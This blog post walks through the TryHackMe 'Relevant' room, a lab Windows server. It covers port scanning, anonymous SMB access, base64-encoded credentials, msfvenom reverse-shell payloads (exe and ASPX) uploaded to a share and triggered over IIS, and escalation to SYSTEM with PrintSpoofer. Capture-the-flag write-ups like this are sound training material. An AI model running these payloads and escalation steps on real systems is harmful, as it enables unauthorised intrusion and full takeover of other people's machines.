zacheller@home:~/blog$

TryHackMe - Relevant


Room: Relevant

Note: I mapped the target IP to relevant.thm in my /etc/hosts file.

Enumeration

root@ip-10-10-196-226:~# sudo nmap -p- -T4 relevant.thm

Starting Nmap 7.60 ( https://nmap.org ) at 2021-03-03 21:31 GMT
Verbosity Increased to 1.
SYN Stealth Scan Timing: About 79.71% done; ETC: 21:56 (0:05:03 remaining)
Verbosity Increased to 2.
Discovered open port 49667/tcp on 10.10.126.174
Discovered open port 49668/tcp on 10.10.126.174
SYN Stealth Scan Timing: About 84.80% done; ETC: 21:56 (0:03:46 remaining)
SYN Stealth Scan Timing: About 90.04% done; ETC: 21:56 (0:02:28 remaining)
SYN Stealth Scan Timing: About 95.04% done; ETC: 21:56 (0:01:13 remaining)
Completed SYN Stealth Scan at 21:56, 1477.59s elapsed (65535 total ports)
Nmap scan report for relevant.thm (10.10.126.174)
Host is up (0.00044s latency).
Scanned at 2021-03-03 21:31:56 GMT for 1478s
Not shown: 65525 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
49663/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49670/tcp open  unknown
MAC Address: 02:96:7B:46:55:13 (Unknown)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1477.99 seconds
           Raw packets sent: 197750 (8.701MB) | Rcvd: 1639 (106.015KB)

root@ip-10-10-196-226:~# sudo nmap -p80,135,139,445,3389,5985,49663,49667,49668,49670 -sV -sC -T4 relevant.thm

Starting Nmap 7.60 ( https://nmap.org ) at 2021-03-03 21:58 GMT
Nmap scan report for relevant.thm (10.10.126.174)
Host is up (0.00042s latency).

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Windows Server 2016 Standard Evaluation 14393 microsoft-ds
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Relevant
| Not valid before: 2021-03-02T21:30:06
|_Not valid after:  2021-09-01T21:30:06
|_ssl-date: 2021-03-03T21:59:51+00:00; 0s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49663/tcp open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 02:96:7B:46:55:13 (Unknown)
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: RELEVANT, NetBIOS user: <unknown>, NetBIOS MAC: 02:96:7b:46:55:13 (unknown)
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
|   Computer name: Relevant
|   NetBIOS computer name: RELEVANT
|   Workgroup: WORKGROUP
|_  System time: 2021-03-03T13:59:50-08:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-03-03 21:59:50
|_  start_date: 2021-03-03 21:30:07

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 94.95 seconds
root@ip-10-10-196-226:~# smbclient -L relevant.thm
WARNING: The "syslog" option is deprecated
Enter WORKGROUP
oot's password: 

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	nt4wrksv        Disk      
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.126.174 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available
root@ip-10-10-196-226:~# smbclient \\relevant.thm\nt4wrksv
WARNING: The "syslog" option is deprecated
Enter WORKGROUP
oot's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Jul 25 22:46:04 2020
  ..                                  D        0  Sat Jul 25 22:46:04 2020
  passwords.txt                       A       98  Sat Jul 25 16:15:33 2020

		7735807 blocks of size 4096. 4935878 blocks available

smb: \> get passwords.txt 
getting file \passwords.txt of size 98 as passwords.txt (13.7 KiloBytes/sec) (average 13.7 KiloBytes/sec)

The password file contained two base64 encoded strings.

Qm9iIC0gIVBAJCRXMHJEITEyMw==
Bob - !P@$$W0rD!123

QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk
Bill - Juw4nnaM4n420696969!$$$

To validate the credentials I used impacket’s psexec.py.

root@ip-10-10-196-226:~# psexec.py Bill:'Juw4nnaM4n420696969!$$$'@relevant.thm
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[-] Authenticated as Guest. Aborting
root@ip-10-10-196-226:~# psexec.py Bob:'!P@$$W0rD!123'@relevant.thm
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on relevant.thm.....
[-] share 'ADMIN$' is not writable.
[-] share 'C$' is not writable.
[*] Found writable share nt4wrksv
[*] Uploading file EdxTArZv.exe
[*] Opening SVCManager on relevant.thm.....
[-] Error opening SVCManager on relevant.thm.....
[-] Error performing the installation, cleaning up: Unable to open SVCManager

I then verified by uploading a reverse shell to the share as Bob.

root@ip-10-10-196-226:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.196.226 LPORT=443 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes

root@ip-10-10-196-226:~# smbclient \\relevant.thm\nt4wrksv -U Bob
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\Bob's password: 
smb: \> put shell.exe
putting file shell.exe as \shell.exe (36034.4 kb/s) (average 18018.6 kb/s)

Gaining Access

I looked at the http services running and after some checks, found http://relevant.thm:49663/nt4wrksv/passwords.txt contained the password file I had found on the SMB share. However, shell.exe did not run. After some research, I determined I needed to use an ASPX file so that it would run on IIS.

# Make Payload
root@ip-10-10-196-226:~# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.196.226 LPORT=443 -f aspx -o shell.aspx

# Upload
root@ip-10-10-196-226:~# smbclient \\relevant.thm\nt4wrksv -U Bob
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\Bob's password: 
Try "help" to get a list of possible commands.
smb: \> put shell.aspx 
putting file shell.aspx as \shell.aspx (20.1 kb/s) (average 20.1 kb/s)

# Start Listener
root@ip-10-10-196-226:~# nc -nlvp 443

# Trigger Reverse Shell
root@ip-10-10-196-226:~# curl http://relevant.thm:49663/nt4wrksv/shell.aspx

## The Shell
root@ip-10-10-196-226:~# nc -nlvp 443
Listening on [0.0.0.0] (family 0, port 443)
Connection from 10.10.126.174 49884 received!
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool

c:\windows\system32\inetsrv>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

SeImpersonatePrivilege seems promising. I checked Priv2Admin and found that tools from the Potato family could be used to escalate when SeImpersonate was on the list of user privileges. I tried several different potato executables, checked that port 5985 was being used (preventing RogueWinRM as an option), and eventually found a path with PrintSpoofer.exe. I found the

# AttackBox
root@ip-10-10-196-226:~# smbclient \\relevant.thm\nt4wrksv -U Bob
WARNING: The "syslog" option is deprecated
Enter WORKGROUP\Bob's password: 
Try "help" to get a list of possible commands.
smb: \> put PrintSpoofer.exe 
putting file PrintSpoofer.exe as \PrintSpoofer.exe (60.2 kb/s) (average 60.2 kb/s)

# Victim
c:\inetpub\wwwroot
t4wrksv>PrintSpoofer.exe -i -c cmd
PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening ...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

c:\windows\system32>whoami
whoami
nt authority\system

The user and root flags were found on Bob’s desktop and the Administrator’s desktop, respectively.